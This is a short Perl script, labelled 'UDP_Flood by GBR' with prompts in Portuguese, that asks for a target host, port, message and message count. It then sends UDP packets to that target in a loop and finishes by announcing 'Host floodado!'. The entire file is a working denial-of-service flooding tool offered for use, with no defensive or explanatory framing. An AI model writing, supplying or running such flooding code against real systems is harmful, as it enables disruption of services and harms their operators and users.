#! /usr/bin/perl

use IO::Socket;

print "UDP_Flood by GBR - \n";
print "Digite o host: \n";
my $host = <STDIN>;
chomp $host;

print "Digite a porta: \n";
my $port = <STDIN>;
chomp $port;

print "Digite a mensagem: \n";
my $msg = <STDIN>;
chomp $msg;

print "Digite a quantidade de mensagens a enviar: \n";
my $qtde = <STDIN>;
chomp $qtde;

my $stop = 0;

my $socket = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => $port,
Proto => 'udp')
or die "Nao foi possivel criar o socket";

while ($stop < $qtde)
{
$socket->send($msg);
$stop+=1;
};

print "Host floodado!\n";

$socket->close;